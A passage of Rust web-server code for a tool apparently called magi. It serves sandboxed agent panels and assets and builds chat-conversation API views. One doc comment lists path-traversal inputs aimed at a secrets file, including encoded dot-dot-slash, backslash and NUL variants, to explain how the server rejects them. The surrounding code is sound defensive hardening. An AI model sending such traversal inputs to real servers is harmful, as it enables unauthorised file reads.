9040/// is the direction that stays safe when an agent writes markup nobody
9041/// predicted.
9042async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9043    blocking(move || {
9044        let id = resolve_question(&ui.questions, &id)?;
9045        let Some(html) = ui.questions.panel_html(&id) else {
9046            return Err(ApiError::not_found(format!("question {id} has no panel")));
9047        };
9048        Ok(panel_response(
9049            "text/html; charset=utf-8",
9050            false,
9051            html.into_bytes(),
9052        ))
9053    })
9054    .await
9055}
9056
9057/// `GET /api/questions/{id}/asset/{name}`.
9058///
9059/// One file from the question's own panel directory, so a panel can show a
9060/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
9061/// having to allow anything off this machine.
9062///
9063/// This is the only route in the server where a client names a file, so it is
9064/// the only one with a traversal surface, and the name is checked by
9065/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
9066/// what is worth being explicit about, because the answer is not "all of it in
9067/// one place":
9068///
9069/// * `asset/../../secrets` never reaches this handler at all. axum matches on
9070///   the raw request path and `{name}` spans exactly one segment, so a real
9071///   slash makes the request too long for the route and the router answers 404.
9072/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
9073///   percent-decodes path parameters, so `name` arrives as `../secrets` and
9074///   `..\secrets` respectively, which look like plain filenames to the router.
9075///   The validator refuses them here - both for the literal `..` and because
9076///   `/` and `\` are not in the permitted character set - and answers 400.
9077/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
9078///   the platform's path API is not, and it is refused here for the same
9079///   reason: NUL is not a permitted character.
9080/// * [`Questions::panel_asset`] validates again on read, so the check is not
9081///   load-bearing in only one place. This route's own check exists so the
9082///   failure is a 400 that says which name was wrong, rather than a store error
9083///   the operator has to interpret.
9084async fn question_asset(
9085    State(ui): State<Arc<Ui>>,
9086    Path((id, name)): Path<(String, String)>,
9087) -> ApiResult<Response> {
9088    // Before any filesystem work and before any path is built: a name this
9089    // server will not serve should not become a `PathBuf` at all.
9090    if !crate::ask::valid_asset_name(&name) {
9091        return Err(ApiError::bad_request(format!(
9092            "`{name}` is not a usable asset name"
9093        )));
9094    }
9095    blocking(move || {
9096        let id = resolve_question(&ui.questions, &id)?;
9097        let asset = ui
9098            .questions
9099            .panel_asset(&id, &name)
9100            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9101        let Some(bytes) = asset else {
9102            return Err(ApiError::not_found(format!(
9103                "question {id} has no asset `{name}`"
9104            )));
9105        };
9106        Ok(panel_response(
9107            asset_content_type(&name),
9108            is_svg(&name),
9109            bytes,
9110        ))
9111    })
9112    .await
9113}
9114
9115/// Content type for a panel asset, from a closed whitelist.
9116///
9117/// A whitelist with an `application/octet-stream` fallback rather than a
9118/// guess, because the one answer that must never come out of here is
9119/// `text/html`. An agent that writes `notes.html` into its panel directory and
9120/// links it would otherwise get its own markup rendered at the top level of the
9121/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
9122/// magi's origin - which is precisely the thing the panel design exists to
9123/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
9124///
9125/// `nosniff` accompanies this on every response, so a browser cannot decide it
9126/// knows better than the type we sent.
9127fn asset_content_type(name: &str) -> &'static str {
9128    match extension(name).as_deref() {
9129        Some("png") => "image/png",
9130        Some("jpg" | "jpeg") => "image/jpeg",
9131        Some("gif") => "image/gif",
9132        Some("webp") => "image/webp",
9133        Some("svg") => "image/svg+xml",
9134        Some("css") => "text/css; charset=utf-8",
9135        Some("txt") => "text/plain; charset=utf-8",
9136        _ => "application/octet-stream",
9137    }
9138}
9139
9140/// Is this an SVG, and therefore a file that must never be opened at the top
9141/// level?
9142fn is_svg(name: &str) -> bool {
9143    extension(name).as_deref() == Some("svg")
9144}
9145
9146/// Lowercased extension, or `None` for a name without one.
9147fn extension(name: &str) -> Option<String> {
9148    name.rsplit_once('.')
9149        .map(|(_, ext)| ext.to_ascii_lowercase())
9150}
9151
9152/// Every panel response, with the four headers that make it safe and, for an
9153/// SVG, a fifth.
9154///
9155/// One function rather than a header list per handler, because a panel route
9156/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
9157/// model gone, silently, on one of two routes. Adding a third panel route later
9158/// means calling this, and there is nowhere else to build a panel response.
9159///
9160/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
9161/// as an `<img src>` inside the panel that script cannot run - but the asset
9162/// URL is also a plain URL an operator can be talked into opening in a tab,
9163/// where it is a document on magi's own origin. `Content-Disposition:
9164/// attachment` makes the browser download it instead of rendering it, which
9165/// closes that door without taking away the ability to draw a diff. Raster
9166/// images have no such execution surface and are left inline, so tapping a
9167/// screenshot still shows it.
9168fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9169    let mut res = (
9170        [
9171            (header::CONTENT_TYPE, content_type),
9172            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9173            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9174            (header::REFERRER_POLICY, "no-referrer"),
9175        ],
9176        body,
9177    )
9178        .into_response();
9179    if download {
9180        res.headers_mut().insert(
9181            header::CONTENT_DISPOSITION,
9182            HeaderValue::from_static("attachment"),
9183        );
9184    }
9185    res
9186}
9187
9188/// A talk as the phone reads it.
9189///
9190/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
9191/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
9192/// parses markdown itself - and the process-local `thinking` hint.
9193#[derive(Debug, Serialize)]
9194struct ChatApproval {
9195    question: String,
9196    target: crate::merge_decision::Target,
9197}
9198
9199#[derive(Debug, Serialize)]
9200struct TalkView {
9201    #[serde(flatten)]
9202    talk: Talk,
9203    turn_bodies_md: Vec<Vec<md::Node>>,
9204    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
9205    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9206    pending_messages_md: Vec<Option<Vec<md::Node>>>,
9207    merge_approvals: Vec<ChatApproval>,
9208    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
9209    /// this server process.
9210    ///
9211    /// This is deliberately not durable: another server process cannot see
9212    /// it, and a restarted server must not claim an old turn is live. It is a
9213    /// progress hint rather than proof a reply landed; the transcript remains
9214    /// the source of truth for that.
9215    thinking: bool,
9216    /// Context-window usage, derived per request - see
9217    /// [`talk::context_usage`]. Carried on every talk response (list, detail
9218    /// and each mutation) so the phone needs no extra call or polling.
9219    context: talk::ContextUsage,
9220    /// `[talk] operator_name`, when configured; the Chat labels the
9221    /// operator's turns with it.
9222    operator_name: Option<String>,
9223    /// The active persona's display name; `None` for the default voice.
9224    persona_name: Option<String>,
9225    /// URL of the avatar for the conversation's persona (the default voice
9226    /// included). Server-built; a configured `icon` never reaches the client.
9227    persona_avatar: String,
9228    /// Operator avatar; display only and independent of repository config.
9229    operator_avatar: String,
9230    magi_avatar: String,
9231}
9232
9233impl TalkView {
9234    /// Reads the talk's repository config itself; a config that cannot be
9235    /// read leaves the window unknown but never fails the conversation.
9236    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9237        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9238        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9239    }
9240
9241    /// As [`Self::new`], with the config already in hand (the list reads one
9242    /// per repository, not one per conversation).
9243    fn with_config(
9244        talk: Talk,
9245        thinking: bool,
9246        cfg: Option<&Config>,
9247        home: &FsPath,
9248        cache: &id_links::IndexCache,
9249    ) -> Self {
9250        let references = cache.for_talk(home, &talk);
9251        Self::with_references(talk, thinking, cfg, home, &references)
9252    }
9253
9254    fn with_references(
9255        mut talk: Talk,
9256        thinking: bool,
9257        cfg: Option<&Config>,
9258        home: &FsPath,
9259        references: &id_links::IdIndex,
9260    ) -> Self {
9261        // This owned value is the display DTO; never write it back to the talk store.
9262        let snapshot = talk.clone();
9263        for (index, turn) in talk.turns.iter_mut().enumerate() {
9264            let original = &snapshot.turns[index];
9265            if turn.messages.is_empty() {
9266                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9267                    turn.messages.push(talk::Message {
9268                        sender: Some(talk::Sender::Magi),
9269                        accepted_at: None,
9270                        body: original.body.clone(),
9271                        display: Some(display),
9272                        recovery_event: None,
9273                        attachments: original.attachments.clone(),
9274                        reply: None,
9275                    });
9276                }
9277            } else {
9278                for (i, message) in turn.messages.iter_mut().enumerate() {
9279                    message.display =
9280                        talk::notice_display(&snapshot, original, original.messages.get(i));
9281                    if message.display.is_some() {
9282                        message.sender = Some(talk::Sender::Magi);
9283                    }
9284                }
9285            }
9286        }
9287        for message in &mut talk.pending_messages {
9288            if message.display.is_none()
9289                && (message.sender == Some(talk::Sender::Magi)
9290                    || snapshot
9291                        .completion_notices
9292                        .iter()
9293                        .any(|r| r.notice == message.body))
9294            {
9295                message.display = crate::prompt::legacy_notice_display(&message.body);
9296                if message.display.is_some() {
9297                    message.sender = Some(talk::Sender::Magi);
9298                }
9299            }
9300        }
9301        if talk.pending_messages.is_empty()
9302            && snapshot
9303                .completion_notices
9304                .iter()
9305                .any(|r| r.notice == talk.pending)
9306            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9307        {
9308            talk.pending_messages.push(talk::Message {
9309                sender: Some(talk::Sender::Magi),
9310                accepted_at: None,
9311                display: Some(display),
9312                recovery_event: None,
9313                body: talk.pending.clone(),
9314                attachments: talk.pending_attachments.clone(),
9315                reply: None,
9316            });
9317        }
9318        let excerpts: Vec<Vec<Option<String>>> = talk
9319            .turns
9320            .iter()
9321            .map(|turn| {
9322                turn.messages
9323                    .iter()
9324                    .map(|m| {
9325                        m.display
9326                            .as_ref()
9327                            .map(|d| d.facts.chars().take(240).collect())
9328                    })
9329                    .collect()
9330            })
9331            .collect();
9332        for turn in &mut talk.turns {
9333            let provenance = talk::sender(turn, None);
9334            turn.sender = Some(provenance);
9335            for message in &mut turn.messages {
9336                message.sender = Some(message.sender.unwrap_or(provenance));
9337            }
9338        }
9339        // Old reply snapshots have only a role; recover provenance from their target.
9340        let senders: Vec<Vec<talk::Sender>> = talk
9341            .turns
9342            .iter()
9343            .map(|turn| {
9344                if turn.messages.is_empty() {
9345                    vec![talk::sender(turn, None)]
9346                } else {
9347                    turn.messages
9348                        .iter()
9349                        .map(|m| talk::sender(turn, Some(m)))
9350                        .collect()
9351                }
9352            })
9353            .collect();
9354        for reply in talk
9355            .turns
9356            .iter_mut()
9357            .flat_map(|t| t.messages.iter_mut())
9358            .chain(talk.pending_messages.iter_mut())
9359            .filter_map(|m| m.reply.as_mut())
9360        {
9361            if let Some(Some(excerpt)) = excerpts
9362                .get(reply.target.turn)
9363                .and_then(|ms| ms.get(reply.target.message))
9364            {
9365                reply.excerpt = excerpt.clone();
9366                reply.sender = Some(talk::Sender::Magi);
9367            }
9368            if reply.sender.is_none() {
9369                reply.sender = senders
9370                    .get(reply.target.turn)
9371                    .and_then(|messages| messages.get(reply.target.message))
9372                    .copied();
9373            }
9374        }
9375        let context = talk::context_usage(&talk, cfg);
9376        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9377            .turns
9378            .iter()
9379            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9380            .collect();
9381        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9382            .turns
9383            .iter()
9384            .map(|turn| {
9385                if turn.messages.is_empty() {
9386                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9387                } else {
9388                    turn.messages
9389                        .iter()
9390                        .map(|message| {
9391                            notice_markdown(
9392                                message.sender.unwrap_or(talk::Sender::Operator),
9393                                &message.body,
9394                                message.display.as_ref(),
9395                            )
9396                        })
9397                        .collect()
9398                }
9399            })
9400            .collect();
9401        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9402            .pending_messages
9403            .iter()
9404            .map(|message| {
9405                notice_markdown(
9406                    message.sender.unwrap_or(talk::Sender::Operator),
9407                    &message.body,
9408                    message.display.as_ref(),
9409                )
9410            })
9411            .collect();
9412        for nodes in &mut turn_bodies_md {
9413            references.markdown(nodes);
9414        }
9415        for nodes in turn_messages_md
9416            .iter_mut()
9417            .flatten()
9418            .chain(pending_messages_md.iter_mut())
9419            .flatten()
9420        {
9421            references.markdown(nodes);
9422        }
9423        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9424        let persona_name = persona::find(specs, &talk.persona)
9425            .filter(|p| !p.is_default())
9426            .map(|p| p.name);
9427        let mut avatar_persona = persona::find(specs, &talk.persona)
9428            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9429        // A removed configured persona may still have an override and old talks.
9430        if avatar_persona.id != talk.persona
9431            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9432        {
9433            avatar_persona.id.clone_from(&talk.persona);
9434            avatar_persona.icon = None;
9435        }
9436        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9437        let approvals_store = ask::Questions::at(home.join("questions"));
9438        let merge_approvals = talk
9439            .notified
9440            .iter()
9441            .filter_map(|key| key.strip_prefix("question:"))
9442            .filter_map(|id| approvals_store.get(id).ok())
9443            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9444            .filter_map(|q| {
9445                Some(ChatApproval {
9446                    question: q.id,
9447                    target: q.merge_target?,
9448                })
9449            })
9450            .collect();
9451        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9452        Self {
9453            turn_bodies_md,
9454            turn_messages_md,
9455            pending_messages_md,
9456            merge_approvals,
9457            thinking,
9458            context,
9459            operator_name,
9460            persona_name,
9461            persona_avatar,
9462            magi_avatar: magi_icon_url(home),
9463            operator_avatar: operator_icon_url(home),
9464            talk,
9465        }
9466    }
9467}
9468
9469/// Parse only the user-facing representation of an explicitly identified MAGI send.
9470fn notice_markdown(
9471    sender: talk::Sender,
9472    body: &str,
9473    display: Option<&crate::prompt::NoticeDisplay>,
9474) -> Option<Vec<md::Node>> {
9475    if sender != talk::Sender::Magi {
9476        return None;
9477    }
9478    let text = if let Some(display) = display {
9479        display.facts.as_str()
9480    } else {
9481        // Unknown completion templates may contain internal directives. Never
9482        // promote their agent input to the Markdown display surface.
9483        if crate::prompt::is_completion_notice(body)
9484            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9485        {
9486            return None;
9487        }
9488        body.strip_prefix("magi: ").unwrap_or(body)
9489    };
9490    Some(md::to_nodes(text, &md::ImageBase::None))
9491}
9492
9493/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9494/// conversation has filed, so the phone can follow one from inside the
9495/// conversation that asked for it rather than hunting the Queue for a task id
9496/// it may not remember.
9497#[derive(Debug, Serialize)]
9498struct TalkDetailView {
9499    #[serde(flatten)]
9500    view: TalkView,
9501    tasks: Vec<TaskView>,
9502    task_progress: TalkTaskProgress,
9503    goal_link: Option<TalkGoalLink>,
9504    goal_link_for: Timestamp,
9505    /// The agents this talk's repository can switch to; empty when its
9506    /// configuration cannot be read, which must not fail the whole detail.
9507    roster: Vec<RosterEntry>,
9508    /// The personas the conversation can pick from. The built-ins are always
9509    /// listed, even when the repository's configuration cannot be read.
9510    personas: Vec<PersonaEntry>,
9511}
9512
9513/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9514#[derive(Debug, Serialize)]
9515struct TalkTaskProgress {
9516    state: &'static str,
9517    total: usize,
9518    done: usize,
9519    counts: std::collections::BTreeMap<&'static str, usize>,
9520    unfinished_ids: Vec<String>,
9521}
9522
9523fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9524    let mut counts = std::collections::BTreeMap::from([
9525        ("queued", 0),
9526        ("running", 0),
9527        ("done", 0),
9528        ("failed", 0),
9529        ("held", 0),
9530        ("blocked", 0),
9531        ("parked", 0),
9532    ]);
9533    let mut unfinished_ids = Vec::new();
9534    for task in tasks {
9535        *counts.entry(task.status.as_str()).or_default() += 1;
9536        if task.status != TaskStatus::Done {
9537            unfinished_ids.push(task.id.clone());
9538        }
9539    }
9540    TalkTaskProgress {
9541        state: if tasks.is_empty() {
9542            "none"
9543        } else if unfinished_ids.is_empty() {
9544            "complete"
9545        } else {
9546            "incomplete"
9547        },
9548        total: tasks.len(),
9549        done: tasks.len() - unfinished_ids.len(),
9550        counts,
9551        unfinished_ids,
9552    }
9553}
9554
9555/// Prefer a referenced task's current Run or Task, then an explicitly
9556/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9557#[derive(Debug, Serialize)]
9558struct TalkGoalLink {
9559    goal: String,
9560    kind: &'static str,
9561    id: String,
9562}
9563
9564fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9565    let goal = crate::chat_goal::Goal::selected(talk)?;
9566    let repo = goal.effective_repo(&talk.repo);
9567    let valid_run = |id: &str| {
9568        plain_record_id(id)
9569            && read_run(runs, id).is_ok_and(|state| {
9570                state.id == id
9571                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9572            })
9573    };
9574    for id in goal.tasks.iter().rev() {
9575        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9576            continue;
9577        };
9578        // Repository reassignments retain historical runs. Only this task's
9579        // current execution can be presented as the goal's current Run.
9580        if let Some(run) = task.execution_runs().last()
9581            && valid_run(run)
9582        {
9583            return Some(TalkGoalLink {
9584                goal: goal.id.clone(),
9585                kind: "run",
9586                id: run.clone(),
9587            });
9588        }
9589        return Some(TalkGoalLink {
9590            goal: goal.id.clone(),
9591            kind: "task",
9592            id: task.id,
9593        });
9594    }
9595    for id in goal.runs.iter().rev() {
9596        if valid_run(id) {
9597            return Some(TalkGoalLink {
9598                goal: goal.id.clone(),
9599                kind: "run",
9600                id: id.clone(),
9601            });
9602        }
9603    }
9604    None
9605}
9606
9607/// One persona as the talk's persona selector shows it.
9608#[derive(Debug, Serialize)]
9609struct PersonaEntry {
9610    id: String,
9611    name: String,
9612    /// Avatar URL, see [`TalkView::persona_avatar`].
9613    avatar: String,
9614}
9615
9616/// One roster agent as the talk's agent selector shows it.
9617#[derive(Debug, Serialize)]
9618struct RosterEntry {
9619    id: String,
9620    kind: AgentKind,
9621    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9622    runnable: bool,
9623}
9624
9625/// Bounded summaries; `/page` carries a cursor for older membership.
9626async fn talks_list(
9627    State(ui): State<Arc<Ui>>,
9628    Query(q): Query<ListQuery>,
9629    headers: header::HeaderMap,
9630) -> ApiResult<Json<Vec<TalkListView>>> {
9631    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9632        let limit = q.limit.unwrap_or(50).min(50);
9633        let ids = if let Some(ids) = q.ids {
9634            ids.split(',')
9635                .filter(|id| plain_record_id(id))
9636                .take(limit)
9637                .map(str::to_owned)
9638                .collect()
9639        } else {
9640            page_ids(&ui, true, PageQuery::default())?
9641                .0
9642                .into_iter()
9643                .take(limit.min(STORE_PAGE_SIZE))
9644                .collect()
9645        };
9646        Ok(Json(talk_rows(&ui, ids, &headers)))
9647    })
9648    .await
9649}
9650
9651/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9652/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9653/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9654/// end still opens a talk against an older binary.
9655#[derive(Debug, Default, Deserialize)]
9656#[serde(default)]
9657struct NewTalk {
9658    agent: Option<String>,
9659    repo: Option<PathBuf>,
9660    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9661    /// wrong type is dropped like a stale value instead of failing the request;
9662    /// each falls back to its default on its own (see [`talk::begin_with`]).
9663    preferred_agent: Option<serde_json::Value>,
9664    persona: Option<serde_json::Value>,
9665    implementers: Option<serde_json::Value>,
9666}
9667
9668/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9669/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9670async fn talk_post(
9671    State(ui): State<Arc<Ui>>,
9672    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9673) -> ApiResult<impl IntoResponse> {
9674    // An absent body, or an empty one, is the normal way to open a talk - see
9675    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9676    // rather than refused.
9677    let body = match body {
9678        Ok(Json(body)) => body,
9679        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9680        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9681    };
9682    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9683    let cfg = config_for(&repo).await?;
9684    let view = blocking(move || {
9685        let preferred = talk::Preferred {
9686            agent: body
9687                .preferred_agent
9688                .as_ref()
9689                .and_then(|v| v.as_str())
9690                .map(str::to_owned),
9691            persona: body
9692                .persona
9693                .as_ref()
9694                .and_then(|v| v.as_str())
9695                .map(str::to_owned),
9696            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9697        };
9698        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9699        let thinking = ui.is_thinking(&talk.id);
9700        Ok(TalkView::new(talk, thinking, &ui))
9701    })
9702    .await?;
9703    Ok((StatusCode::CREATED, Json(view)))
9704}
9705
9706/// Transcript first: unrelated queue history and repository probes are deferred.
9707async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9708    // Keep transcript reads independent of sections and the runtime blocking pool.
9709    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9710        let id = resolve_talk(&ui.talks, &id)?;
9711        let talk = ui.talks.get(&id)?;
9712        let thinking = ui.is_thinking_observed(&id);
9713        // The browser already resolves Markdown text/code references after
9714        // rendering. A cold reference/review index must not gate the transcript.
9715        Ok(Json(TalkView::with_references(
9716            talk,
9717            thinking,
9718            None,
9719            &ui.home,
9720            &id_links::IdIndex::default(),
9721        )))
9722    })
9723    .await
9724}
9725
9726async fn talk_sections(
9727    State(ui): State<Arc<Ui>>,
9728    Path(id): Path<String>,
9729) -> ApiResult<Json<serde_json::Value>> {
9730    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9731        let id = resolve_talk(&ui.talks, &id)?;
9732        let talk = ui.talks.get(&id)?;
9733        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9734        let task_progress = talk_task_progress(&tasks);
9735        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9736        let tasks: Vec<_> = tasks
9737            .into_iter()
9738            .map(|task| {
9739                serde_json::json!({
9740                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9741                })
9742            })
9743            .collect();
9744        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9745        let roster: Vec<_> = cfg
9746            .as_ref()
9747            .map(|cfg| {
9748                cfg.agents
9749                    .iter()
9750                    .map(|a| RosterEntry {
9751                        id: a.id.clone(),
9752                        kind: a.kind,
9753                        runnable: agent::installed(a),
9754                    })
9755                    .collect()
9756            })
9757            .unwrap_or_default();
9758        let specs = cfg
9759            .as_ref()
9760            .map(|cfg| cfg.talk.personas.clone())
9761            .unwrap_or_default();
9762        let personas: Vec<_> = persona::catalog(&specs)
9763            .into_iter()
9764            .map(|p| PersonaEntry {
9765                avatar: avatar_url(&ui.home, &talk.id, &p),
9766                id: p.id,
9767                name: p.name,
9768            })
9769            .collect();
9770        let active_persona = persona::find(&specs, &talk.persona)
9771            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9772        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9773        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9774        Ok(Json(serde_json::json!({
9775            "tasks": tasks, "task_progress": task_progress,
9776            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9777            "roster": roster, "personas": personas,
9778            "context": talk::context_usage(&talk, cfg.as_ref()),
9779            "context_for": talk.updated_at,
9780            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9781            "persona_name": persona_name,
9782            "persona_avatar": persona_avatar,
9783        })))
9784    })
9785    .await
9786}
9787
9788/// `GET /api/talks/{id}`.
9789async fn talk_detail(
9790    State(ui): State<Arc<Ui>>,
9791    Path(id): Path<String>,
9792) -> ApiResult<Json<TalkDetailView>> {
9793    blocking(move || {
9794        let id = resolve_talk(&ui.talks, &id)?;
9795        let talk = ui.talks.get(&id)?;
9796        let thinking = ui.is_thinking_observed(&talk.id);
9797        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9798        let task_progress = talk_task_progress(&tasks);
9799        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9800        let goal_link_for = talk.updated_at;
9801        let tasks = tasks.into_iter().map(TaskView::from).collect();
9802        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9803        let roster = cfg
9804            .as_ref()
9805            .map(|cfg| {
9806                cfg.agents
9807                    .iter()
9808                    .map(|a| RosterEntry {
9809                        id: a.id.clone(),
9810                        kind: a.kind,
9811                        runnable: agent::installed(a),
9812                    })
9813                    .collect()
9814            })
9815            .unwrap_or_default();
9816        let specs = cfg
9817            .as_ref()
9818            .map(|cfg| cfg.talk.personas.clone())
9819            .unwrap_or_default();
9820        let personas = persona::catalog(&specs)
9821            .into_iter()
9822            .map(|p| PersonaEntry {
9823                avatar: avatar_url(&ui.home, &talk.id, &p),
9824                id: p.id,
9825                name: p.name,
9826            })
9827            .collect();
9828        Ok(Json(TalkDetailView {
9829            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9830            tasks,
9831            task_progress,
9832            goal_link,
9833            goal_link_for,
9834            roster,
9835            personas,
9836        }))
9837    })
9838    .await
9839}
9840
9841/// The body of `POST /api/talks/{id}/say`.
9842///
9843/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9844/// returned - never bytes of its own - so a turn with no images just omits
9845/// the field, which is what an older front end still does.
9846#[derive(Debug, Default, Deserialize)]
9847#[serde(default, deny_unknown_fields)]
9848struct NewTalkTurn {
9849    reply_to: Option<talk::ReplyTarget>,
9850    text: String,
9851    attachments: Vec<String>,
9852}
9853
9854#[derive(Debug, Deserialize)]
9855#[serde(deny_unknown_fields)]
9856struct EditTalkPending {
9857    #[serde(default)]
9858    message: Option<usize>,
9859    text: String,
9860    expected_text: String,
9861    expected_attachments: Vec<String>,
9862}
9863
9864#[derive(Debug, Deserialize)]
9865#[serde(deny_unknown_fields)]
9866struct ClearTalkPending {
9867    expected_text: String,
9868    expected_attachments: Vec<String>,
9869}
9870
9871/// `POST /api/talks/{id}/say` - one turn of the conversation.
9872///
9873/// Not filesystem work, and therefore not routed through [`blocking`]: this
9874/// route spawns an agent CLI and a turn here can run for the whole of
9875/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9876/// research turn is expected to run commands rather than answer from what it
9877/// already knows. Holding an HTTP connection open that long is not a thing
9878/// to ask a phone to do; the operator's message is recorded and answered for
9879/// immediately, and the reply lands in the background, discovered through
9880/// the change stream's `talks_rev` the same way every other update on this
9881/// surface is.
9882async fn talk_say(
9883    State(ui): State<Arc<Ui>>,
9884    Path(id): Path<String>,
9885    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9886) -> ApiResult<(StatusCode, Json<TalkView>)> {
9887    let admission = ui.begin_admission()?;
9888    admitted(admission, async move {
9889    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9890    if body.text.trim().is_empty() && body.attachments.is_empty() {
9891        return Err(ApiError::bad_request("say something"));
9892    }
9893
9894    let id = {
9895        let ui = Arc::clone(&ui);
9896        let asked = id.clone();
9897        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9898    };
9899    // A closed Talk never accepts a new immediate or queued turn. Check this
9900    // before claiming a slot so its ordinary domain refusal is a 409, not an
9901    // incidental failure from the later record/queue write.
9902    {
9903        let ui = Arc::clone(&ui);
9904        let id = id.clone();
9905        blocking(move || {
9906            let talk = ui.talks.get(&id)?;
9907            if !talk.status.open() {
9908                return Err(ApiError::conflict(format!(
9909                    "talk {} is {} and takes no more turns",
9910                    talk.short(),
9911                    talk.status.as_str()
9912                )));
9913            }
9914            Ok(())
9915        })
9916        .await?;
9917    }
9918
9919    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9920    // actually stores, before anything is written - an unknown id is a 4xx
9921    // that names it rather than a turn (or a queued draft) silently missing
9922    // an image.
9923    let attachments = {
9924        let ui = Arc::clone(&ui);
9925        let id = id.clone();
9926        let ids = body.attachments.clone();
9927        blocking(move || {
9928            ids.into_iter()
9929                .map(|att_id| {
9930                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9931                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9932                    })
9933                })
9934                .collect::<ApiResult<Vec<talk::Attachment>>>()
9935        })
9936        .await?
9937    };
9938    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9939        .await.map_err(ApiError::from)?;
9940
9941    // Pending recovery and a new immediate turn are decided under the same
9942    // claim lock. Without that one critical section, a second `/say` can see
9943    // the first request's claim as "busy" and append itself to the recovered
9944    // draft before the first request rejects it.
9945    let start = {
9946        let ui = Arc::clone(&ui);
9947        let id = id.clone();
9948        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9949    };
9950    let turn_guard = match start {
9951        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9952        TalkTurnStart::Pending => {
9953            return Err(ApiError::conflict(
9954                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9955            ));
9956        }
9957        TalkTurnStart::Foreign => {
9958            return Err(ApiError::conflict(
9959                "a turn is already running in another process; try again when it has finished",
